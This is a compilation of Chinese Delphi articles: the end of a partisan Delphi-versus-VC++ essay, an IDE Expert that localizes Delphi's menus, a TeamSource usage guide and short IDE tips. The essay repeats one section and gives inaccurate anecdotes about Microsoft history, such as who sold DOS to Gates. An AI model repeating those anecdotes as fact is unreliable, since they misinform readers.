object pascal和c/c++在这方面没什么差别。c/c++的&，|，~，^，>>，<<，&&，||，!等效于object pascal的and，or，not，xor，shr,shl(and，or，not，xor既用于位操作也用于逻辑操作)。不过c/c++不支持逻辑xor(a xor b = a and not b or not a and b，还是可以实现的)。

(11) 风格

其实这是我更倾向于使用delphi的一个重要原因(由于工作的原因，我也经常使用c++和汇编)。就象有些文章所说的：“object pascal和c++是同一重量级的语言”，确实难分轩轾，差别反而主要是在风格上。c++强调灵活，而object pascal更注重整洁和优美。《程序设计语言：设计与实现》一书的作者也称赞pascal是“一种极优美的语言”。有人因此认为pascal“笨拙”。其实应该是“大道至简”。我认为即使用c++写程序也还是工工整整的好，不要卖弄技巧。只有水平不高不低的程序员才喜欢卖弄技巧(水平太低的卖弄不了，太高的又不愿卖弄了)。就象有人评李昌镐的棋“平淡”，但马晓春再怎么“鬼才”也只能甘拜下风。 上面说的其实都是c++ vs object pascal。不过也适用于vc++ vs delphi。(ps：vc++其实并未实现全部ansi/iso c++ 95规范(目前的最新标准)的特性(所以有人戏称之为c+)。而c++ builder则完全兼容ansi/iso c++ 95规范，并支持at&t(c的诞生地)和unix v的全部c++扩展特性。有人称“m$坚持工业标准，borland随意修改” ，这是不对的。delphi也全兼容ansi/iso pascal 1983/92规范，以及apple object pascal (用过code warrior professional的应该知道apple的object pascal)。)

3. 功能及其他

(1) 易用性

毫无疑问delphi有巨大优势，这不用多说了吧。 (ps：delphi的真正伟大之处在于并不因为易用而降低技术水准。你需要复杂性就有复有复杂性，你需要灵活性就有灵活性；不用可视化也一样写程序(可视化只是object pascal 对象结构的另一面)，不用vcl也一样写程序)

(2) 适用范围

vc++几乎能做任何硬件允许的工作。delphi也能。 (“不！！！”，我知道你会这样说，你会举出vxd。:-) delphi不能写vxd(其实如果你用delphi生成obj，再用m$的link连接，是可以的)

是有原因的(你见过非m$的工具能生成vxd的吗？watcom？symantec？gnu？...)，但不是技术上的原因。vxd的le(linear executable)文件格式最早出现在windows 3.0中，格式很简单(比ne和pe格式都要简单)，基本上是内存映象文件。但m$不知道出于什么动机就是不允许其他公司的软件生成它的这种(专利)格式。delphi是可以写windows nt的sys和新的wdm(windows driver model)驱动程序的，这些使用普通的dll格式。(ps：从法律角度讲，你自己写一个程序，未经m$允许生成ms word文件也是不行的) (ps：玩过“奇迹时代”(age of wonders，http://www.epicgames.com)吗？是用delphi 3写的。画面和速度都优于m$的“帝国时代”。不过我不喜欢玩策略类游戏，我喜欢的是duke3d和quake系列，还有tomb raider系列。:-)

(3) 集成开发环境

delphi的ide更简洁/好用一些。

(4) 数据库支持

在这方面除了delphi的兄弟c++ builder/jbuilder恐怕只有power builder能(勉强)与delphi相比。不过pb的性能和使用范围就差得太远了(要不怎么叫poor builder呢？:-)。 (ps：我的印象是现在大多数基于网络/大型数据库的c/s和多层结构的应用都是用delphi/jbuilder开发的)

(5) 网络功能

delphi也有一定的优势。尤其是在internet开发方面。

(6) 组件支持

delphi除了基于object pascal的vcl/clx外，也支持基于com/dcom的组件(比如activex)，另加corba支持。vc++只支持支持基于com/dcom的组件。

(7) 应用框架/设计思想

vcl比mfc至少领先一代，这也毋须多言。mfc充其量不过是对owl的(一种不太成功的)模仿而已，从设计思想上看甚至还不如owl。作为一种语言的基本类库(不论可视与否)，

应该从大处着眼，力求简洁有效，保持一定的弹性和抽象度(抽象意味着从功能出发，比如vcl中的tcanvas就是对windows中dc(device context)的一种极好的抽象，比起mfc中的设计高明了何止一点半点)。而不是面面俱到，一一照搬apis(不幸的是，m$的程序员多年以来一直在不辞劳苦地做这项工作)。看看mfc的某些类，简直惨不忍睹：通常除了省了hwnd和dc之类的参数(已经作为类的私有数据保存了)，其方法(method)简直就是windows api的翻版。这样做有什么意义呢？windows api不就摆在那里吗？比如说，使用mfc中的线程类还不如直接调用createthread/exitthread/resumethread/setthreadpriority之类的api更方便快速呢。

(ps：用过delphix(http://www.yks.ne.jp/~hori/)吗？directx这么繁杂的结构可以用object pascal封装得如此之好再次证明了vcl体系结构的强大)

(8) 调试

两者相差无几。vc++的源级调试更用户友好一些，而delphi/c++ builder对多线程程序的调试支持更好。 (ps：要比单独的调试工具，borland的turbo debugger可就要比m$的codeview强

多了)

(9) 运行环境/系统需求

应该说差不多。vc++的启动速度确实要快于delphi(这主要是相对于delphi 4+而言，delphi 3的启动还是很快的)。这很大程度上是由于一个事实：vc++主要是一个基于文本编辑器的传统开发环境。code warrior professional不是启动更快吗？ 至于“一个数据库程序要带上3~5mb的bde运行文件”的说法，这可能是由于在安装制作工具(installsheild，wise之类)中使用了“全部bde安装”(默认)而不是“部分bde安装”。如果你只使用access，dbase，foxpro，paradox之类的桌面数据库，只需要几百k的运行文件就可以了。用m$的工具开发的数据库程序也要带上一大堆odbc，dao，jet，ado，msde之类的运行文件。在delphi 5中，如果使用adoexpress，interbase express 访问数据库的话，可以不带bde。 (ps：不管怎么说，borland在delphi/c++ builder的启动速度方面还是要努力改 进!)

(10) 产品质量/稳定性

有文章称“vc++的质量好，稳定性高”。真的是这样吗？visual studio的service pack 不是都出到4了吗？什么是service pack？主要不就是bug fix + patch吗？！borland的工具也并不完美，delphi 3的vcl中确实存在“内存漏洞”，会导致用d3开发的程序有时(并不总是)退出后不能释放分配的内存。vc++的问题也不少：ie是用vc++写的吧，上网时多启动几个，开开关关，最后全关闭，看看你的系统资源剩下多少了？还经常导致“general protection error”。ultra edit是用vc++写的吧，也有同样的问题。其题。其实说到底，程序质量好不好，运行稳定不稳定，主要取决于开发者的水平/责任心。比如说tomb raider系列和quake系列游戏同是用c++开发的，但画面质量和运行速度显然quake系列更胜一筹。象美国航空航天局(nasa)，俄罗斯宇航局(rsa)，美洲银行(bank of america，资产超过5000亿美元的大银行)，其他诸如american airlines，at&t， bmw，compaq，bbc television，british telecom等大型机构/公司都在用delphi开发复杂的，企业级(可笑的是，有人居然称“用vc开发企业级的桌面应用”，殊不知企业

级应用和桌面应用是相对而言的)的应用系统(在http://community.borland.com(borland社团站点)上有关于用delphi和c++ builder开发的产品介绍)，如果有人还要说“...稳定和可靠是硬道理，只好忍痛割爱了”，那他恐怕只好自制开发工具

(10) 产品质量/稳定性

有文章称“vc++的质量好，稳定性高”。真的是这样吗？visual studio的service pack不是都出到4了吗？什么是service pack？主要不就是bug fix + patch吗？！borland的工具也并不完美，delphi 3的vcl中确实存在“内存漏洞”，会导致用d3开发的程序有时(并不总是)退出后不能释放分配的内存。vc++的问题也不少：ie是用vc++写的吧，上网时多启动几个，开开关关，最后全关闭，看看你的系统资源剩下多少了？还经常导致“general protection error”。ultra edit是用vc++写的吧，也有同样的问题。其实说到底，程序质量好不好，运行稳定不稳定，主要取决于开发者的水平/责任心。比如说tomb raider系列和quake系列游戏同是用vc++开发的，但画面质量和运行速度显然quake系列更胜一筹。象美国航空航天局(nasa)，俄罗斯宇航局(rsa)，美洲银行bank of america，资产超过5000亿美元的大银行)，其他诸如american airlines，at&t， bmw，compaq，bbc television，british telecom等大型机构/公司都在用delphi开发复杂的，企业级(可笑的是，有人居然称“用vc开发企业级的桌面应用”，殊不知企业级应用和桌面应用是相对而言的)的应用系统(在http://community.borland.com (borland社团站点)上有关于用delphi和c++ builder开发的产品介绍)，如果有人还要说“...稳定和可靠是硬道理，只好忍痛割爱了”，那他恐怕只好自制开发工具(外带操作系统)了。:-) (ps：关于delphi与某些显卡驱动冲突的问题，是由于某些显卡(如s3 virge gx) 的老版本驱动程序不能正确处理windows公用控制中的imagelist的绘制方法造成的，在这种情况下所有在imagelist中使用多个图象的程序都会有问题)(ps：至于“一看到很多优秀的共享软件冒出具有delphi特色的错误异常就感到悲

哀”，建议此人先搞清楚你看到的“错误异常”消息是这些软件本身出错呢，还是运行时的异常处理消息(比如“没有找到指定文件”或“索引超出范围”之类)再说。delphi中有完善的异常处理，所以很多程序员不再写错误处理，而放手让编译器去处理。我认为这不是一个好习惯，至少弹出的消息对话框可能与你的程序所用的语言/风格不一致。 让人 家误会了不是？:-)

(11) 帮助/文档

vc++的帮助和文档确实要比delphi/c++ builder的丰富一些。不过这不应当包括msdn，因为msdn是一套独立的产品，并不是专门给vc++准备的，况且其中包括了相当多的windows技术资料。作为一名程序员，不管用什么开发工具，可以(也应当)有一套msdn。 windows数据结构/apis是用c风格描述的这一点可能对delphi程序员来说略有不便，不过delphi中已经包括了大多数转换；另外，如果一个程序员连转换.h文件这么简单的工作都做不了的话，他(她)可能也做不了什么象样的开发。internet上的一个志愿者组织(www.delphi-jedi.org/)在这方面也做了大量工作，在他们的站点上有几乎全部有用的c/c++库.h的object pascal翻译。 (ps：delphi/c++ builder程序员为什么不可以买一套msdn呢？毕竟我们还在用m$的操作系统，总不至于连windows技术资料都不要了吧) (ps：从msdn看m$ msdn中的技术资料主要是以compiled html(.chm)格式存放的，但m$把全部.chm放在disc #1，而把索引文件(.chi)单独放在disc #2。这样一来就无法从光盘上直接看这些文件。要么安装，要么手工把相应的.chm和.chi拷贝到一起。我看不有什么技术上的理由(谁知道请告诉我)不把一半.chm和.chi放在一张盘，而另一半放在第二张盘。 这至少反映出m$内部某些人的阴暗心理)

(12) 国际化支持

vc++中已经包括了十多种语言的rtl资源，delphi中需要自己做资源本地化。虽然franch，german之类的版本中也包括english资源。:-<

(13) 应用领域

vc++在windows设备驱动开发(毕竟是m$ windows)和某些桌面应用(比如游戏)开发中用得较多。delphi更多应用在数据库/多层结构，多媒体和internet开发等方面。(ps：vc++在游戏开发中用得较多我看主要是价格因素，游戏使用专用界面，通常不涉及数据库和internet(即使internet play也不过是简单的tcp连接，并且directplay中已包括此项功能)，昂贵的delphi和c++ builder显示不出优势。只需要$79的vc++标准版，directx sdk(可免费下栽)，opengl文档(也是免费的)，至多再加一套msdn即可。比如quake，全是手写的c代码，连c++特性都很少用到。borland也认识到了这一问题，所以发布了免费的c++编译器)

(14) 价格

m$的开发工具确实便宜(相对而言)，不过是否物有所值，只能看你干什么用了。

(ps：别指望你买的toyota能有ferrari的性能。:-)

(15) 前景

有人认为m$财大气粗，borland难以对抗。我看不能这么简单下结论。m$有它自己的问题：法律诉讼，人才流失，资源分散，四面出击(m$现在连鼠标，键盘，游戏杆，玩具都生产)。而brland/inprise集中精力在开发工具，中件产品(如midas，visibroker和application server)和企业应用/管理环境(如appcenter和security service)上，应该还是大有可为的。

况且borland和m$之间并非纯粹的竞争关系，borland开发工具给m$ windows带来的收益要远大于和m$开发工具竞争带来的损失。毕竟对m$来说，开发工具只占其收入的很少一部分，即使不搞开发工具也只不过是个面子问题，于m$无损。m$在它面临垄断/不正当竞争指控的时候，因为长期侵犯知识产权而赔偿给borland一亿美元(称为“授权费”)， 这多少也可以看作是一种和解的举动吧。 另一种经常听到的论调是“m$的产品市场份额大，borland能撑得住吗？”，这其实也有很多问题。鉴于m$出于竞争的目的，经常虚报数字，影响市场(m$的律师在法庭上承认m$曾夸大过其ie和office的市场占有率)；m$自己宣传的其开发工具的市场占有率也很值得怀疑。m$还有重复计算的问题，比如卖掉一套visual studio，在计算vb，vc，vj等的销售量时都计算在内。其实很多人/公司买visual studio只用其中的一两种。其实borland产品的销售量还是很大的，尤其是在欧洲，北美和澳大利亚，在亚洲...(是因为d版太多了)。另外，每个公司都有自己的产品/市场定位，你能因为toyota，ford，volkswagen卖的多就说ferrari，maclaren，benz不行了吗？

4. 结论

delphi(其实应该说borland产品)在技术上有优势，vc++(其实应该说m$产品)也占有相当的市场份额。 (ps：说了半天等于没说。:-) (ps：m$的c#(读c sharp)能取得突破吗？我看不会。因为m$产品通常达不到所宣传的性能；而且一种不符合标准(c#不兼容任何一种语言标准，虽然据称更接近c)的产品也很难取得成功。j++就是一例)

5. 附：我所知道的borland和m$的故事

(1) bill gates是如何拿到ibm订单的

1979年，tim paterson写了最初的dos并以$1000的价格卖给了digital reserch。 当时apple的apple i和apple ii销势很好，所以ibm在1980年也决定搞pc。bill gates知道后，认为是个机会，就以$5000从digital reserch买下了dos，并逼着手下人在一间没有空调的小黑屋里日夜不停加以修改。m$当时是个小公司，只有十几个人，名叫micro-soft。所以尽管dos的开价$20000加每拷贝$30授权费)比cp/m-86(指用于intel 8086/8088的版本，不是指年代)的开价($100000加每拷贝$70授权费)便宜不少，ibm的人还是倾向于使用cp/m-86。据“比尔.盖茨的秘密”(bill gates' secrets)一书的作者说，bill急得团团转，只好求助于他妈妈。bill的母亲时任华盛顿大学校长，与当时的ibm董事长john opal是大学同学(据说...)。bill这一招果然有效，没多久就拿到了ibm的订单，从此dos成了ibm pc上的首选操作系统。

(2) borland的名字和历史

borland听起来不象一个公司的名字，倒象一个国家的名字。 1982年，philippe kahn带着3000美元从巴黎到了美国，除去机票钱已所剩无几， 只好租人家的车库小阁间住。kahn在硅谷干了一段时间，并以mit(market in time，恰好与恰好与麻省理工学院的缩写相同)为名开了一家公司。1983年，kahn和anders hejlsberg(丹麦人，turbo pascal编译器的主要作者)合作开发了turbo pascal，并赊帐在《新闻周刊》上登了一份彩页广告。turbo pascal在pc开发工具中是一个里程碑式的产品，它第一次把编译时间由分缩短到秒，并且其$49的价格在当时也是创纪录的(当时的一份编译器动辄数千美元，便宜的也要几百美元，还不好用)。turbo pascal在不到两年的时间里销售了超过130万套(考虑到当时的pc数量，这是一个非常惊人的数字)，borland从此创立。 kahn在解释为什么以borland命名时说“我们要起一个与众不同的名字，其他公司都是叫这个micro，那个soft什么的”。不过据认为这个名称与德国或北欧的某些地名有关(kahn的父亲是德国人，而且borland的很多开发人员是北欧人)。

(3) anders hejlsberg为什么去了m$

1996年，anders hejlsberg离开borland去了m$。在此之前，m$曾多次企图挖走anders，但都没有成功。据信anders去m$(主要)不是钱的问题，虽然m$的开价也相当有吸引力： 130万美元年薪外加股票期权和分红，总计超过300万美元。主要原因是anders和delphi开发组的其他成员在修改编译器的问题上发生了争执；还有，据borland内部人讲 ,anders认为自己不再是“不可缺少的人”。 虽然anders hejlsberg去了m$，我仍然尊敬他是一个天才，turbo pascal的主要作者，delphi的奠基者。 (ps：anders从1999年初就不在j++组了，而去做com+的开发。m$的人讲的)

(4) m$产品的秘密

<1> msc最初是从at&t买的授权；

<2> vb的1，2，3版实际上不是m$开发的，而是cooper software开发的。john cooper在m$时未受重用，离开后m$倒要花钱请他开发产品，真有点黑色幽默的味道；

<3> ms sql server最初是买sybase的产品，6.5以前的ms sql server和sybase根本就 是一回事；

<4> windows 95的主要技术负责人(名字我不记得了，不过在dejanews(www.deja.com) 上可能还能找到有关文章)是1990年从borland跳到m$的，不过他在1998年已经离开m$，开了自己的；

<5> windows nt的开发组整个是从dec挖来的，是以前做dec vms的那些人。所以在win32平台上有很多vms的痕迹，比如说coff目标文件格式。

(5) .net到底是什么，bill gates也不知道

请看对bill gates的采访：

记者：现在，市场仍然对.net感到困惑。... .net的实质到底是什么？

盖茨：.net是我们对下一代internet的设想。... 举个简单的例子，.net不仅允许你查看自己喜爱的棒球队的时间安排，并且还能够对这个时间安排进一步加以利用。

(？？？究竟怎样“进一步加以利用”？为什么不说？难道现在的软件不能“进一步加以利”？)

6. 注：

本文系完全由作者本人所写，文中提到的所有技术数据均由本人验证或标明出处，转载时请保持完整。

best regards

herman wolfenswicz


用Expert来汉化Delphi

Delphi 集成开发环境的中文化

西安交通大学计算机系刘明华

----Delphi从1995年推出到如今已经历了4个版本，但Inprise公司似乎从没有试图把Delphi界面进行本地化。对于国内许多Delphi用户来说，我们毕竟对中文的感觉比对异国文字要亲切得多，我们更希望自己所喜爱的Delphi换上用我们自己的文字装扮的界面。笔者通过对Delphi环境内部的探索与研究，摸索出一种汉化Delphi的极为巧妙的途径。现在，我们竟然可以在Delphi的集成开发环境中自由地切换中文和英文了！

----实现原理

----Delphi在启动时（运行Delphi32.exe），它首先创建它的主窗口，之后开始加载集成开发环境的设计时包（Design-timePackages），以便向组件板安装组件和创建属性编辑器。Delphi的包（扩展名为*.BPL）是一种特殊的动态连结库，它可以与应用程序中的其它模块可以共享全局数据。

----为Delphi提供集成开发环境的是Delphi32.exe这个程序，它是使用Delphi的类库建立的，故而它具有Delphi程序的典型特点。由于集成开发环境（Delphi32.exe）用到了许多设计时包，所以，这些包中的代码便可以访问Delphi32.exe中的全局数据；Delphi32.exe中的Application对象是一个全局对象，因此，它对设计时包中的代码是可见的。通过Delphi32.exe的Application对象，我们便可以访问程序的主窗口、菜单等许多重要的属性。

----Delphi中有一类被称为Expert或者Wizard的模块，它们的主要用途是为了更方便的创建应用程序或者构件的，Expert的代码被编译在Delphi的运行时包中。我们可以编写一个特别的Expert来实现对集成开发环境的修改。为了实现Delphi一启动就能换上中文界面，我们可以设法使Expert中的某些代码在Delphi加载包后就立即运行。

----构造Expert

----所有的Expert都继承自一个名为TIExpert的虚基类。这是一个比较简单的类，它在exptintf单元中的定义如下：

TIExpert=class(TInterface)

public

{ExpertUIstrings}

functionGetName:string;virtual;stdcall;abstract;

functionGetAuthor:string;virtual;stdcall;abstract;

functionGetComment:string;virtual;stdcall;abstract;

functionGetPage:string;virtual;stdcall;abstract;

functionGetGlyph:HICON;virtual;stdcall;abstract;

functionGetStyle:TExpertStyle;virtual;stdcall;abstract;

functionGetState:TExpertState;virtual;stdcall;abstract;

functionGetIDString:string;virtual;stdcall;abstract;

functionGetMenuText:string;virtual;stdcall;abstract;

{LaunchtheExpert}

procedureExecute;virtual;stdcall;abstract;

end;

----Expert必须实现TIExpert虚基类中所定义的纯虚函数，这些函数将被Delphi集成开发环境调用。Delphi在安装Wizard时将以如下顺序调用Expert中的方法：GetName,GetIDString,GetStyle,GetState,GetMenuText。其中GetName方法只在Expert初始化时被调用一次，其它一些方法则会被调用多次。

----本文中为了简单起见，笔者所给的例子只翻译了File,Edit,Search和View这几个菜单。你可以向例子中增添少许代码把其它的菜单也进行翻译。

----在编译并安装好该Expert后，你的Delphi便可以在中英文界面之间切换了（从Help菜单中选择“中文菜单/English”）。

----Expert的单元代码（Localize.PAS）及其注释如下：

unit Localize;

//

//Chinese Localization of Delphi

//Written Jan 1999 by SimonM.LIU

//The author can be reached at:

//email:minghua_liu@263.net or simon_liu@263.net

interface

uses

ExptIntf, Windows, Messages, classes, Forms, menus, Extctrls,

ShellAPI, comctrls, controls, Dialogs, ToolIntf, SysUtils;

type

TChinese = class(TIExpert)

public

function GetStyle: TExpertStyle; override;

function GetName: string; override;

function GetAuthor: string; override;

function GetComment: string; override;

function GetPage: string; override;

function GetGlyph: HICON; override;

function GetState: TExpertState; override;

function GetIDString: string; override;

function GetMenuText: string; override;

procedure Execute; override;

end;

var

//中/英文菜单项

Citems : array[0..10]of String =

('文件', '编辑', '查找', '查看', '工程',

'运行', '组件', '数据库', '工具', '工作组', '帮助');

Items : array[0..10]of String =

('&File', '&Edit', '&Search', '&View', '&Project',

'&Run', '&Component', '&Database',

'&Tools', '&Workgroups', '&Help');

CFileItems : array[0..20]of String =

('新建...', '新建程序', '新建窗体', '新建单元', '-', '打开...',

'打开工程', '重新打开', '-', '保存', '另存为', '工程另存为',

'全部保存', '关闭', '全部关闭', '-', '引用单元', '-', '打印', '-', '退出');

CEditItems : array[0..20]of String =

('撤销', '恢复', '-', '剪贴', '拷贝', '粘贴', '删除', '全选',

'-', '与格子对齐', '放至最前', '放至最后',

'对齐...', '大小...', '比例...', '顺序...',

'创建次序...', 'Flip C&hildren', '锁住控件',

'-', '增加至Interface...');

CSearchItems : array[0..9]of String =

('查找...', '在所有文件查找...', '替换...',

'再查找', '递增查找', '-', '跳至第...行',

'查找错误...', '-', '浏览符号...');

CViewItems : array[0..17]of String =

('项目管理器', '对象观察器', '对齐样式', '浏览器', ' 代码浏览 ',' 组件列表 ',' 窗口列表... ',' 调试窗口 ',' - ',

'切换Form/Unit', '单元...', '窗体...',

'类型库', '-', '新的编辑窗口', '-', '工具条', '显示为Form');

FileItems : array[0..20]of String =

('&New...', 'New Applica&tion', 'New&Form',

'New &Unit', '-', '&Open...', 'Open Pro&ject...',

'&Reopen', '-', '&Save', 'Save &As...',

'Sav&e Project As...', 'Sa&ve All', '&Close',

'C&lose All', '-', '&Use Unit...',

'-', '&Print...', '-', 'E&xit');

EditItems : array[0..20]of String =

('&Undelete', '&Redo', '-', 'Cu&t', '&Copy', '&Paste',

'&Delete', 'Se&lect All', '-', 'Align to &Grid',

'Bring to &Front', 'Send to &Back', '&Align...',

'&Size...', 'Scal&e...', 'Tab O&rder...',

'Creatio&n Order...', 'Flip C&hildren',

'Loc&k Controls', '-', 'Add T&o Interface...');

SearchItems : array[0..9]of String = ('&Find...',

'Fin&d in Files...', '&Replace...',

'&Search Again', '&Incremental Search',

'-', '&Goto Line Number...',

'Find &Error...', '-', 'Browse S&ymbol...');

ViewItems : array[0..17]of String =

('&Project Manager', '&Object Inspector',

'&Alignment Palette', '&Browser', 'Code E&xplorer',

'&Component List', '&Window List...',

'&Debug Windows', '-', 'To&ggle Form/Unit',

'&Units...', '&Forms...', '&Type Library', '-',

'New &Edit Window', '-', 'Toolba&rs', '&View as Form');

//当前界面是否为中文

IsChinese : Bool = False;

MenuItem, SubItem : TMenuItem;

MainMenu : TMainMenu;

Form : TForm;

procedure Register;

implementation

function TChinese.GetName: string;

begin

Result := 'Chinese Delphi';

//更改Delphi的标题

Application.Title := '中文Delphi';

//更改Delphi的图标

Application.Icon.Handle := ExtractIcon(hInstance, 'Shell32.dll', 41);

//用变量Form指向Delphi程序的Application对象的主窗口

Form := Application.MainForm;

//获取主窗口的主菜单

MainMenu := (Form.FindComponent('MainMenu1')) as TMainMenu;

//如果你不想Delphi一启动就进入中文界面，则需去掉下行语句

Execute;

end;

function TChinese.GetStyle: TExpertStyle;

begin

Result := esStandard;

end;

function TChinese.GetAuthor: string;

begin

Result := 'SimonMLIU';

end;

function TChinese.GetComment: string;

begin

Result := 'Chinese Delphi interface';

end;

function TChinese.GetPage: string;

begin

Result := '';

end;

function TChinese.GetGlyph: HICON;

begin

Result := 0;

end;

function TChinese.GetState: TExpertState;

begin

Result := [esEnabled];

end;

function TChinese.GetIDString: string;

//返回用于标识该Wizard的串

begin

Result := 'SimonLiu.First Wizard';

end;

function TChinese.GetMenuText: string;

//此处返回的串将出现在Help菜单中

begin

Result := '中文界面/English';

end;

procedure TChinese.Execute;

var

i: integer;

begin

IsChinese := not IsChinese;

if isChinese

then Application.Title := '中文Delphi'

else Application.Title := 'English Delphi';

for i := 0 to MainMenu.Items.Count - 1 do

begin

MenuItem := MainMenu.Items[i];

if IsChinese then MenuItem.Caption := CItems[i]

else MenuItem.Caption := Items[i];

end;

//File菜单的中/英文转换

MenuItem := MainMenu.Items[0];

for i := 0 to MenuItem.Count - 1 do

begin

SubItem := MenuItem.Items[i];

if IsChinese then SubItem.Caption := CFileItems[i]

else SubItem.Caption := FileItems[i];

end;

//Edit菜单的中/英文转换

MenuItem := MainMenu.Items[1];

for i := 0 to MenuItem.Count - 1 do

begin

SubItem := MenuItem.Items[i];

if IsChinese then SubItem.Caption := CEditItems[i]

else SubItem.Caption := EditItems[i];

end;

//Search菜单的中/英文转换

MenuItem := MainMenu.Items[2];

for i := 0 to MenuItem.Count - 1 do

begin

SubItem := MenuItem.Items[i];

if IsChinese then SubItem.Caption := CSearchItems[i]

else SubItem.Caption := SearchItems[i];

end;

//View菜单的中/英文转换

MenuItem := MainMenu.Items[3];

for i := 0 to MenuItem.Count - 1 do

begin

SubItem := MenuItem.Items[i];

SubItem := MenuItem.Items[i];

if IsChinese then SubItem.Caption := CViewItems[i]

else SubItem.Caption := ViewItems[i];

end;

//以下两行使Delphi在改变菜单后自动调整好各项菜单项的大小。

ShowWindow(Form.Handle, SW_MAXIMIZE);

ShowWindow(Form.Handle, SW_RESTORE);

if IsChinese

then

Application.MessageBox('Delphi中文版','Delphi', MB_ICONINFORMATION)

else

Application.MessageBox('Chinese Delphi!','Delphi', MB_ICONINFORMATION);

end;

procedure Register;

begin

RegisterLibraryExpert(TChinese.Create);

end;

end.

----安装Expert：①选择菜单Componet|InstallComponent;②把Localize.pas单元安装到一个新的Package中。

----卸载Expert：选择菜单Componet|InstallPackages，卸载你不想使用的包。

----Delphi的版本

----以上所说的Delphi均指Inprise公司1998年秋季推出的Delphi4.0。由于各种Delphi版本所提供的菜单不尽相同，所以把上述代码移植到Delphi2.0、3.0等版本时，需要对菜单项的数目和菜单文字作一些相应的调整。

----用大致相同的方法笔者编写了一个可以在多种语言之间进行切换的Delphi“插件”(如图所示)。不同的是它不再是建立在TIExpert的基础上的了。鉴于篇幅原因，在此就不详细介绍它的实现过程了，笔者准备将它放到http://delphians.yeah.net站点上。如果读者有兴趣更多地了解这方面知识，可以通过电子邮件与我联系（simon_liu@263.net）。

----通讯地址：西安交通大学9649#

----邮政编码：710049

----电子邮件：minghua_liu@263.net

-中国计算机世界出版服务公司版权所有


TeamSource使用说明

TeamSource使用说明

如果我们的开发项目需要在小组模式下进行，那么协调和规范工作流程是非常重要的环节。工欲善其事，必先利其器，如果能够借助版本控制工具，必然会达到事半功倍的效果。

  我最近因为需要在csdn上查找版本控制工具的介绍，但发现这方面的帖子很少，可能一个开发小组的领导者都是某个技术领域的专家，玩转一个简单的工具绰绰有余，而初学者往往会因为缺少需求把精力放在技术的实现细节上，anyway,我还是想把我的使用心得简单介绍一下，希望能起一个抛砖引玉的作用。

    因为项目是使用BCB进行开发，所以使用的工具是Borland的TeamSource，虽然有部分同僚对TeamSource的印象不是很好，认为和VSS的差距很大，但对于一个5、6个人的小组来说，也能满足大部分要求了，好了，言归正传。以下才是正文:）。

使用TeamSource首先要分清几个概念：

A（主开发机），B（第三方备份机），C（辅助开发机） 。

    在这里A、B都是指局域网上以开发为目的计算机，而A是指建立TeamSource工程文件的计算机；小组开发需要将程序以某种方式共享，B就是指开发人员都能访问的计算机，共享程序就是在B上实现的。

注：B上提供共享的文件夹对于小组成员必须是具有完全访问权限的。

注意：TeamSource必须工作在域环境下（如果服务器的操作系统是win2000，需要配置Active Directory）

    在小组开发中一般有个TeamLeader，首先应由TeamLeader建立一个新工程(Create new Project)，但在建立工程之前，TeamLeader的计算机上必须有一个"Local directory"保存着程序源文件（一般是项目的代码框架），而"Remote directory"（即第三方备份机）中暂时是没有代码文件的（在工程建立之后可以通过TeamSource将程序文件从Local directory“上传到”Remote directory）。

    Local directory和Remote directory是TeamSource中的叫法。

    当TeamLeader建立了工程，就可以添加用户了，方法是选Project|Options中的User页，因为在TeamSource中初始权限是只读的，所以可能Add User等按钮是Disabled的，这时候应该将Local View（TeamSource中的本地视图，通过选Local图标查看）中所有文件上锁，权限就变成Write/read，你将发现按钮Enable了，可以添加用户了（当然你得具备添加用户的权限啦！:)）。还有在添加用户时要保证添加的用户名是域中已经存在的用户，因为只有在开发机上以域用户身份登陆TeamSource才会识别用户身份。

    至于设置用户的权限的详细方法，在User页上提供了全部功能，只要仔细看看就明白啦！

    添加完用户以后就可以将Local directory中的代码文件备份到第三方备份机上了（就是刚才所说的上传），将所有文件加锁（选中所有文件，然后按F4），然后选中所有文件，点Do it按钮，或者在右键菜单中选择Check in就可以了。

    在申请加锁的对话框中，有一个Comment文本框，你在其中填入的文本可以让其他用户看到，那么其他用户就可以知道你申请锁的目的。

    如果工程建立成功，那在第三方备份机上就会自动建立几个文件夹，工程文件以cpj为扩展名，一般来说保存在Archives目录下。

    现在假设有用户Dippa在一个辅助开发机上登陆并运行TeamSource，应该首先新建一个工程，但建立的方式是Import a existing project，可以把TeamLeader建立在第三方备份机上的工程文件(.cpj)导入，当然辅助开发机上也要有相应的Local Directory（这个Local directory负责保存备份机上代码文件的副本以提供开发机上使用者对源码进行的修改或添加），如果导入成功，那么现在就可以把代码文件从备份机上复制到开发机上了，方法是选择Project|pull to...就可以了。

一般来说主要用到的是Local View，他的显示界面分为三个面板，左边的面板显示第三方备份机上被其他用户改动过的文件，应该copy到Local directory；右边的面板显示你在开发机上改动过的文件，并建议你将改动Check in到备份机上；而最下边的面板是Lock list，显示了各个用户对文件加锁情况。

    由于我也是刚刚接触TeamSource，所以文章中可能存在着错误，请各位看官批评指正。至于TeamSource的其他使用细节，可以在使用中揣摩或是参考帮助文档。

                                        Author: Orswanic于2001年7月26日


第三方控件的帮助如何集成到Delphi？

修改..目录下的两个文件：

delphi5.cfg

; Third-party Help

;----------------- //下面一行自己加入

:Link XXX.hlp //你的hlp文件

delphi5.cnt

;==============

; Include section

;================ //下面一行自己加入

:Include XXX.cnt //你应该还有这个文件吧


IDE Expert

★★★★★大家对开发专家有兴趣我这里还有一点资料给大家共享一下★★★

在Delphi中，要撰寫專家最主要的著眼點在於「如何撰寫專家」及「與IDE環境互動」，在Hidden Paths of Delphi 3.0的寫法前者是由TIExpert繼承下來並

且覆寫所有的方法，使我們對Delphi的整合環境有了第一次接觸，只要由TIExpert中呼叫我們寫的程式，也就會讓Delphi在設計時期呼叫我們的程式；但是若

您要和Delphi的整合開發環境有親密接觸，那你得接觸TIToolServices類別才行，其中的函式可以讓你把玩Delphi整合環境，比如說你可以開啟或關閉一個專

案，或是寫出許多可以實際產生程式的專家。

當我拿到產生BizSnap程式碼的專家時，因為最近在看Hidden Paths of Delphi 3.0這本書，學Open Tools API如何用，所以也好奇的把其中的原始碼調出來

瞧瞧，赫然發覺其中的程式我完全看不懂，怎麼Hidden Paths Of Delphi中的寫法完全沒看到，讓我大失所望；又調出Delphi的Demos中的Open Tools API範

例，又是類似的寫法，都沒有自TIExpert繼承，也看不到TIToolsServices，反倒是implement一大堆Interface。

對於這些奇怪的寫法，我找不到文件有說明，只好自行分析Open Tools API的原始碼，看來這次尋幽訪勝得靠自己了；)

在經過一夜的Trace後，我想我大致上可以掌握了在Delphi 6所附的Open Tools API範例的寫法，在ToolsAPI單元中宣告的這些介面，不再像以往的

